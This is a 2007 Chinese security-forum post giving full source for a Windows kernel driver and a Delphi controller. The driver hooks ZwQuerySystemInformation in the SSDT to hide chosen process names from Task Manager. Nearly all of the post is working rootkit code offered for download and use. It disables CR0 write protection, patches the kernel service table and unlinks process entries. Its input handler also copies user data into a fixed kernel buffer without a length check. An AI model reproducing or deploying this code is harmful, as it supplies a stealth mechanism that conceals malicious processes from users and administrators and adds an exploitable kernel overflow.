标 题
:
【原创】对 Hook 内核ntoskrnl
'sZwQuerySystemInformation隐藏任务管理器进程名 的一点完善
作 者
:
sislcb
时 间
:
2007
-
12
-
20
,
17
:
17
链 接
:
http
:
//bbs.pediy.com/showthread.php?t=56830
通过hook ssdt中的ZwQuerySystemInformation来实现隐藏进程已经是很老的技术了。
qiweixue 在他的文章里面写的很清楚了
:
http
:
//bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B
不过他的文章里面,进程名字是直接写死的,不能通过三层进行传递,而且得到ZwQuerySystemInformation是通过汇编的方法,这样在其他系统上可能会有问题,所以我做了一些改善如下:
1
通过应用程序将进程名字传递进来,可以传递多个进程名字,格式为:qq
.
exe
;
taskmgr
.
exe
;
2
通用的方法来得到ZwQuerySystemInformation的地址,不过这个方法都是从rookit上得来的。
很简单的完善了。如果没有接触过驱动的同学估计有点帮助(其实很不好意思拿上来。。)
驱动代码如下:
代码
:
///////////////////////////IoControl.h/////////////////////////////
#ifndef
___HIDE_PROCESS_IO_CONTROL___
#define
___HIDE_PROCESS_IO_CONTROL___
#define
HIDE_PROCESS_WIN32_DEV_NAME L
"\\Device\\HideProcess"
#define
HIDE_PROCESS_DEV_NAME L
"\\DosDevices\\HideProcess"
#define
FILE_DEVICE_HIDE_PROCESS
0x00008811
#define
IO_REFERENCE_EVENT
(
ULONG
)
CTL_CODE
(
FILE_DEVICE_HIDE_PROCESS
,
0x801
,
METHOD_NEITHER
,
FILE_ANY_ACCESS
)
#define
IO_DEREFERENCE_EVENT
(
ULONG
)
CTL_CODE
(
FILE_DEVICE_HIDE_PROCESS
,
0x802
,
METHOD_NEITHER
,
FILE_ANY_ACCESS
)
#define
IO_PASSBUF
(
ULONG
)
CTL_CODE
(
FILE_DEVICE_HIDE_PROCESS
,
0x806
,
METHOD_NEITHER
,
FILE_ANY_ACCESS
)
/*
#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long
#define BYTE unsigned char
*/
/************************************************************************
* *
* Struct Define *
* *
************************************************************************/
typedef struct
_Event_Struct
{
int
eventType
;
char
pname
[
255
];
char
pid
[
255
];
}
Event_Struct
, *
PEvent_Struct
;
typedef struct
_SECTION_IMAGE_INFORMATION
{
PVOID EntryPoint
;
ULONG StackZeroBits
;
ULONG StackReserved
;
ULONG StackCommit
;
ULONG ImageSubsystem
;
WORD SubsystemVersionLow
;
WORD SubsystemVersionHigh
;
ULONG Unknown1
;
ULONG ImageCharacteristics
;
ULONG ImageMachineType
;
ULONG Unknown2
[
3
];
}
SECTION_IMAGE_INFORMATION
, *
PSECTION_IMAGE_INFORMATION
;
/////////////////定义ntoskrnl.exe的服务表结构////////////////////////////////////////////////
typedef struct
ServiceDescriptorEntry
{
unsigned int
*
ServiceTableBase
;
//指向系统服务程序的地址(SSDT)
unsigned int
*
ServiceCounterTableBase
;
//指向另一个索引表,该表包含了每个服务表项被调用的次数;不过这个值只在Checkd Build的内核中有效,在Free Build的内核中,这个值总为NULL
unsigned int
NumberOfServices
;
//表示当前系统所支持的服务个数
unsigned char
*
ParamTableBase
;
//指向SSPT中的参数地址,它们都包含了NumberOfService这么多个数组单元
}
ServiceDescriptorTableEntry
, *
PServiceDescriptorTableEntry
;
extern
PServiceDescriptorTableEntry KeServiceDescriptorTable
;
struct
_SYSTEM_THREADS
{
LARGE_INTEGER KernelTime
;
LARGE_INTEGER UserTime
;
LARGE_INTEGER CreateTime
;
ULONG WaitTime
;
PVOID StartAddress
;
CLIENT_ID ClientIs
;
KPRIORITY Priority
;
KPRIORITY BasePriority
;
ULONG ContextSwitchCount
;
ULONG ThreadState
;
KWAIT_REASON WaitReason
;
};
struct
_SYSTEM_PROCESSES
{
ULONG NextEntryDelta
;
//下一个进程信息的偏移量,如果为0表示无一个进程信息
ULONG ThreadCount
;
//线程数
ULONG Reserved
[
6
];
LARGE_INTEGER CreateTime
;
//创建进程的时间
LARGE_INTEGER UserTime
;
//进程中所有线程在用户模式运行时间的总和
LARGE_INTEGER KernelTime
;
//进程中所有线程在内核模式运行时间的总和
UNICODE_STRING ProcessName
;
//进程的名字
KPRIORITY BasePriority
;
//线程的缺省优先级
ULONG ProcessId
;
//进程ID号
ULONG InheritedFromProcessId
;
//继承语柄的进程ID号
ULONG HandleCount
;
//进程打开的语柄数量
ULONG Reserved2
[
2
];
VM_COUNTERS VmCounters
;
//虚拟内存的使用情况统计
IO_COUNTERS IoCounters
;
//IO操作的统计,Only For 2000
struct
_SYSTEM_THREADS Threads
[
1
];
//描述进程中各线程的数组
};
#endif
//////////////////////HideProcess.c///////////////////////////////
#include
<
ntddk
.
h
>
#include
"ntiologc.h"
#include
"ntimage.h"
#include
<
windef
.
h
>
#include
<
stdio
.
h
>
#include
<
string
.
h
>
#include
"IoControl.h"
VOID UnloadDriver
(
IN PDRIVER_OBJECT DriverObject
);
NTSTATUS HideProcess_Create
(
IN PDEVICE_OBJECT DeviceObject
,
IN PIRP Irp
);
NTSTATUS HideProcess_Close
(
IN PDEVICE_OBJECT DeviceObject
,
IN PIRP Irp
);
NTSTATUS HideProcess_IoControl
(
IN PDEVICE_OBJECT DeviceObject
,
IN PIRP Irp
);
///////////////声明Native API///////////////////////////////////////
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation
(
IN ULONG SystemInformationClass
,
//查询系统服务类型
IN PVOID SystemInformation
,
//接收系统信息缓冲区
IN ULONG SystemInformationLength
,
//接收信息缓冲区大小
OUT PULONG ReturnLength
);
//实际接收到的大小
typedef
NTSTATUS
(*
ZWQUERYSYSTEMINFORMATION
)(
IN ULONG SystemInformationClass
,
IN PVOID SystemInformation
,
IN ULONG SystemInformationLength
,
OUT PULONG ReturnLength
);
NTSTATUS MyZwQuerySystemInformation
(
IN ULONG SystemInformationClass
,
IN PVOID SystemInformation
,
IN ULONG SystemInformationLength
,
OUT PULONG ReturnLength
);
////////////////////定义所用到的全局变量///////////////
extern
PServiceDescriptorTableEntry KeServiceDescriptorTable
;
unsigned long
OldCr0
;
UNICODE_STRING DeviceNameString
;
UNICODE_STRING LinkDeviceNameString
;
ZWQUERYSYSTEMINFORMATION g_OriginalZwQuerySystemInformation
;
int
position
;
PVOID gpEventObject
=
NULL
;
//事件句柄
CCHAR outBuf
[
1024
];
//输入缓冲区大小
#define
SEC_IMAGE
0x01000000
DWORD GetDllFunctionAddress
(
char
*
lpFunctionName
,
PUNICODE_STRING pDllName
)
{
HANDLE hThread
,
hSection
,
hFile
,
hMod
;
SECTION_IMAGE_INFORMATION sii
;
IMAGE_DOS_HEADER
*
dosheader
;
IMAGE_OPTIONAL_HEADER
*
opthdr
;
IMAGE_EXPORT_DIRECTORY
*
pExportTable
;
DWORD
*
arrayOfFunctionAddresses
;
DWORD
*
arrayOfFunctionNames
;
WORD
*
arrayOfFunctionOrdinals
;
DWORD functionOrdinal
;
DWORD Base
,
x
,
functionAddress
;
char
*
functionName
;
STRING ntFunctionName
,
ntFunctionNameSearch
;
PVOID BaseAddress
=
NULL
;
SIZE_T size
=
0
;
OBJECT_ATTRIBUTES oa
= {
sizeof
oa
,
0
,
pDllName
,
OBJ_CASE_INSENSITIVE
};
IO_STATUS_BLOCK iosb
;
//_asm int 3;
ZwOpenFile
(&
hFile
,
FILE_EXECUTE
|
SYNCHRONIZE
, &
oa
, &
iosb
,
FILE_SHARE_READ
,
FILE_SYNCHRONOUS_IO_NONALERT
);
oa
.
ObjectName
=
0
;
ZwCreateSection
(&
hSection
,
SECTION_ALL_ACCESS
, &
oa
,
0
,
PAGE_EXECUTE
,
SEC_IMAGE
,
hFile
);
ZwMapViewOfSection
(
hSection
,
NtCurrentProcess
(), &
BaseAddress
,
0
,
1000
,
0
, &
size
, (
SECTION_INHERIT
)
1
,
MEM_TOP_DOWN
,
PAGE_READWRITE
);
ZwClose
(
hFile
);
hMod
=
BaseAddress
;
dosheader
= (
IMAGE_DOS_HEADER
*)
hMod
;
opthdr
=(
IMAGE_OPTIONAL_HEADER
*) ((
BYTE
*)
hMod
+
dosheader
->
e_lfanew
+
24
);
pExportTable
=(
IMAGE_EXPORT_DIRECTORY
*)((
BYTE
*)
hMod
+
opthdr
->
DataDirectory
[
IMAGE_DIRECTORY_ENTRY_EXPORT
].
VirtualAddress
);
arrayOfFunctionAddresses
= (
DWORD
*)( (
BYTE
*)
hMod
+
pExportTable
->
AddressOfFunctions
);
arrayOfFunctionNames
= (
DWORD
*)( (
BYTE
*)
hMod
+
pExportTable
->
AddressOfNames
);
arrayOfFunctionOrdinals
= (
WORD
*)( (
BYTE
*)
hMod
+
pExportTable
->
AddressOfNameOrdinals
);
Base
=
pExportTable
->
Base
;
RtlInitString
(&
ntFunctionNameSearch
,
lpFunctionName
);
for
(
x
=
0
;
x
<
pExportTable
->
NumberOfFunctions
;
x
++)
{
functionName
= (
char
*)( (
BYTE
*)
hMod
+
arrayOfFunctionNames
[
x
]);
RtlInitString
(&
ntFunctionName
,
functionName
);
functionOrdinal
=
arrayOfFunctionOrdinals
[
x
] +
Base
-
1
;
functionAddress
= (
DWORD
)( (
BYTE
*)
hMod
+
arrayOfFunctionAddresses
[
functionOrdinal
]);
if
(
RtlCompareString
(&
ntFunctionName
, &
ntFunctionNameSearch
,
TRUE
) ==
0
)
{
ZwClose
(
hSection
);
return
functionAddress
;
}
}
ZwClose
(
hSection
);
return
0
;
}
NTSTATUS DriverEntry
(
IN PDRIVER_OBJECT DriverObject
,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS status
;
PDEVICE_OBJECT deviceObject
;
UNICODE_STRING dllName
;
DWORD functionAddress
;
RtlInitUnicodeString
( &
DeviceNameString
,
HIDE_PROCESS_WIN32_DEV_NAME
);
RtlInitUnicodeString
( &
LinkDeviceNameString
,
HIDE_PROCESS_DEV_NAME
);
KdPrint
((
"DriverEntry Enter............................\n"
));
status
=
IoCreateDevice
(
DriverObject
,
0
,
&
DeviceNameString
,
FILE_DEVICE_DISK_FILE_SYSTEM
,
FILE_DEVICE_SECURE_OPEN
,
FALSE
,
&
deviceObject
);
if
(!
NT_SUCCESS
(
status
))
{
KdPrint
((
"DriverEntry: Error creating control device object, status=%08x\n"
,
status
));
return
status
;
}
status
=
IoCreateSymbolicLink
(
(
PUNICODE_STRING
) &
LinkDeviceNameString
,
(
PUNICODE_STRING
) &
DeviceNameString
);
if
(!
NT_SUCCESS
(
status
))
{
IoDeleteDevice
(
deviceObject
);
return
status
;
}
DriverObject
->
MajorFunction
[
IRP_MJ_CREATE
] =
HideProcess_Create
;
DriverObject
->
MajorFunction
[
IRP_MJ_CLOSE
] =
HideProcess_Close
;
DriverObject
->
MajorFunction
[
IRP_MJ_DEVICE_CONTROL
] =
HideProcess_IoControl
;
DriverObject
->
DriverUnload
=
UnloadDriver
;
//////////////////////Hook ZwQuerySystemInformation/////////////////////////////////////////////////
RtlInitUnicodeString
(&
dllName
,
L
"\\Device\\HarddiskVolume1\\Windows\\System32\\ntdll.dll"
);
functionAddress
=
GetDllFunctionAddress
(
"ZwQuerySystemInformation"
, &
dllName
);
position
= *((
WORD
*)(
functionAddress
+
1
));
g_OriginalZwQuerySystemInformation
= (
ZWQUERYSYSTEMINFORMATION
)(
KeServiceDescriptorTable
->
ServiceTableBase
[
position
]);
_asm
{
CLI
//dissable interrupt
MOV EAX
,
CR0
//move CR0 register into EAX
AND EAX
,
NOT
10000H
//disable WP bit
MOV CR0
,
EAX
//write register back
}
(
ZWQUERYSYSTEMINFORMATION
)(
KeServiceDescriptorTable
->
ServiceTableBase
[
position
]) =
MyZwQuerySystemInformation
;
_asm
{
MOV EAX
,
CR0
//move CR0 register into EAX
OR EAX
,
10000H
//enable WP bit
MOV CR0
,
EAX
//write register back
STI
//enable interrupt
}
KdPrint
((
"Hook ZwQuerySystemInformation'status is Succeessfully "
));
return
status
;
}
NTSTATUS HideProcess_Create
(
IN PDEVICE_OBJECT DeviceObject
,
IN PIRP Irp
)
{
DbgPrint
(
"HideProcess_Create\n"
);
Irp
->
IoStatus
.
Status
=
STATUS_SUCCESS
;
Irp
->
IoStatus
.
Information
=
0
;
IoCompleteRequest
(
Irp
,
IO_NO_INCREMENT
);
return
Irp
->
IoStatus
.
Status
;
}
NTSTATUS HideProcess_Close
(
IN PDEVICE_OBJECT DeviceObject
,
IN PIRP Irp
)
{
DbgPrint
(
"HideProcess_Close\n"
);
Irp
->
IoStatus
.
Status
=
STATUS_SUCCESS
;
Irp
->
IoStatus
.
Information
=
0
;
IoCompleteRequest
(
Irp
,
IO_NO_INCREMENT
);
return
Irp
->
IoStatus
.
Status
;
}
NTSTATUS HideProcess_IoControl
(
IN PDEVICE_OBJECT DeviceObject
,
IN PIRP Irp
)
{
NTSTATUS status
=
STATUS_SUCCESS
;
ULONG controlCode
;
PIO_STACK_LOCATION irpStack
;
HANDLE hEvent
;
OBJECT_HANDLE_INFORMATION objHandleInfo
;
ULONG outputLength
,
inputLength
;
PVOID inputBuffer
;
irpStack
=
IoGetCurrentIrpStackLocation
(
Irp
);
outputLength
=
irpStack
->
Parameters
.
DeviceIoControl
.
OutputBufferLength
;
inputLength
=
irpStack
->
Parameters
.
DeviceIoControl
.
InputBufferLength
;
controlCode
=
irpStack
->
Parameters
.
DeviceIoControl
.
IoControlCode
;
switch
(
controlCode
)
{
case
IO_REFERENCE_EVENT
:
//获取事件的句柄
hEvent
= (
HANDLE
)
irpStack
->
Parameters
.
DeviceIoControl
.
Type3InputBuffer
;
status
=
ObReferenceObjectByHandle
(
hEvent
,
GENERIC_ALL
,
NULL
,
KernelMode
,
&
gpEventObject
,
&
objHandleInfo
);
if
(
status
!=
STATUS_SUCCESS
)
{
DbgPrint
(
"ObReferenceObjectByHandle failed! status = %x\n"
,
status
);
break
;
}
DbgPrint
(
"IO_REFERENCE_EVENT\n"
);
break
;
case
IO_PASSBUF
:
//应用层传输数据到驱动
inputBuffer
= (
char
*)
irpStack
->
Parameters
.
DeviceIoControl
.
Type3InputBuffer
;
RtlCopyMemory
(&
outBuf
[
0
],
inputBuffer
,
inputLength
);
DbgPrint
(
"IO_PassBuf:%s:%d"
,
outBuf
,
strlen
(
outBuf
));
break
;
case
IO_DEREFERENCE_EVENT
:
if
(
gpEventObject
)
{
ObDereferenceObject
(
gpEventObject
);
gpEventObject
=
NULL
;
}
DbgPrint
(
"IO_DEREFERENCE_EVENT\n"
);
break
;
default
:
break
;
}
Irp
->
IoStatus
.
Status
=
STATUS_SUCCESS
;
Irp
->
IoStatus
.
Information
=
0
;
IoCompleteRequest
(
Irp
,
IO_NO_INCREMENT
);
return
status
;
}
VOID UnloadDriver
(
IN PDRIVER_OBJECT DriverObject
)
{
UNICODE_STRING uniWin32NameString
;
UNICODE_STRING LinkNameString
;
PDEVICE_OBJECT deviceObject
;
//////////////////////UnHook ZwQuerySystemInformation/////////////////////////////////////////////////
_asm
{
CLI
//dissable interrupt
MOV EAX
,
CR0
//move CR0 register into EAX
AND EAX
,
NOT
10000H
//disable WP bit
MOV CR0
,
EAX
//write register back
}
(
ZWQUERYSYSTEMINFORMATION
)(
KeServiceDescriptorTable
->
ServiceTableBase
[
position
]) =
g_OriginalZwQuerySystemInformation
;
_asm
{
MOV EAX
,
CR0
//move CR0 register into EAX
OR EAX
,
10000H
//enable WP bit
MOV CR0
,
EAX
//write register back
STI
//enable interrupt
}
KdPrint
((
"UnHookZwQuerySystemInformation'status is Succeessfully................... "
));
deviceObject
=
DriverObject
->
DeviceObject
;
IoDeleteSymbolicLink
(&
LinkDeviceNameString
);
ASSERT
(!
deviceObject
->
AttachedDevice
);
if
(
deviceObject
!=
NULL
)
{
IoDeleteDevice
(
deviceObject
);
}
}
NTSTATUS MyZwQuerySystemInformation
(
IN ULONG SystemInformationClass
,
IN PVOID SystemInformation
,
IN ULONG SystemInformationLength
,
OUT PULONG ReturnLength
)
{
NTSTATUS rc
;
STRING ntNameString
;
UNICODE_STRING process_name
;
char
*
buf
, *
haystack
;
char
cpOutBuf
[
1024
];
char
*
sep
=
";"
;
strcpy
(
cpOutBuf
,
outBuf
);
haystack
= &
cpOutBuf
[
0
];
rc
= (
g_OriginalZwQuerySystemInformation
) (
SystemInformationClass
,
SystemInformation
,
SystemInformationLength
,
ReturnLength
);
if
(
NT_SUCCESS
(
rc
))
{
if
(
5
==
SystemInformationClass
)
{
struct
_SYSTEM_PROCESSES
*
curr
;
struct
_SYSTEM_PROCESSES
*
prev
;
buf
=
strstr
(
haystack
,
sep
);
while
(
buf
!=
NULL
)
{
buf
[
0
] =
'\0'
;
DbgPrint
(
"%s"
,
haystack
);
RtlInitAnsiString
(&
ntNameString
,
haystack
);
RtlAnsiStringToUnicodeString
(&
process_name
, &
ntNameString
,
TRUE
);
haystack
=
buf
+
strlen
(
sep
);
buf
=
strstr
(
haystack
,
sep
);
curr
= (
struct
_SYSTEM_PROCESSES
*)
SystemInformation
;
prev
=
NULL
;
if
(
curr
->
NextEntryDelta
)((
char
*)
curr
+=
curr
->
NextEntryDelta
);
while
(
curr
)
{
if
(
RtlEqualUnicodeString
(&
process_name
, &
curr
->
ProcessName
,
1
))
{
DbgPrint
(
"hide process name taskmgr.exe"
);
//找到要隐藏的进程
if
(
prev
)
{
//要删除的信息在中间,则把指针指向下一个节点
if
(
curr
->
NextEntryDelta
)
prev
->
NextEntryDelta
+=
curr
->
NextEntryDelta
;
else
prev
->
NextEntryDelta
=
0
;
//要删除的信息在末尾,则直接把指针指向0
}
else
{
if
(
curr
->
NextEntryDelta
)
(
char
*)
SystemInformation
+=
curr
->
NextEntryDelta
;
//要删除的信息在开头
else
SystemInformation
=
NULL
;
}
//如果链下一个还有其他的进程信息,指针往后移
if
(
curr
->
NextEntryDelta
)((
char
*)
curr
+=
curr
->
NextEntryDelta
);
else
{
curr
=
NULL
;
break
;
}
}
if
(
curr
!=
NULL
)
{
//把当前指针设置成前一个指针,当前指针后移
prev
=
curr
;
if
(
curr
->
NextEntryDelta
)((
char
*)
curr
+=
curr
->
NextEntryDelta
);
else
curr
=
NULL
;
}
}
RtlFreeUnicodeString
(&
process_name
);
}
}
}
return
rc
;
}
三层的代码如下:
/////////////////////delphi code///////////////////////////
procedure TForm1
.
btnHideClick
(
Sender
:
TObject
);
var
dwReturn
:
DWORD
;
proname
:
array
[
0..1023
]
of
char
;
begin
//创建设备
try
m_hCommDevice
:=
CreateFile
(
'\\.\HideProcess'
,
GENERIC_READ
or
GENERIC_WRITE
,
FILE_SHARE_READ
,
nil
,
OPEN_EXISTING
,
FILE_ATTRIBUTE_NORMAL
,
0
);
except
MessageBox
(
Handle
,
'创建设备失败'
,
'隐藏进程启动'
,
MB_OK
+
MB_ICONWARNING
);
end
;
//创建事件
try
m_hCommEvent
:=
CreateEvent
(
nil
,
false
,
false
,
nil
);
except
CloseHandle
(
m_hCommDevice
);
MessageBox
(
Handle
,
'创建事件失败'
,
'隐藏进程启动'
,
MB_OK
+
MB_ICONWARNING
);
end
;
//发送事件句柄给驱动
DeviceIoControl
(
m_hCommDevice
,
IO_REFERENCE_EVENT
,
pointer
(
m_hCommEvent
),
0
,
nil
,
0
,
dwReturn
,
nil
);
StrPCopy
(
@proname
,
Trim
(
edtProcessName
.
Text
));
DeviceIoControl
(
m_hCommDevice
,
IO_PASSBUF
,
@proname
,
sizeof
(
proname
),
nil
,
0
,
dwReturn
,
nil
);
end
;
整个工程下载:
http
:
//bbs.pediy.com/attachment.php?attachmentid=10497&d=1198196319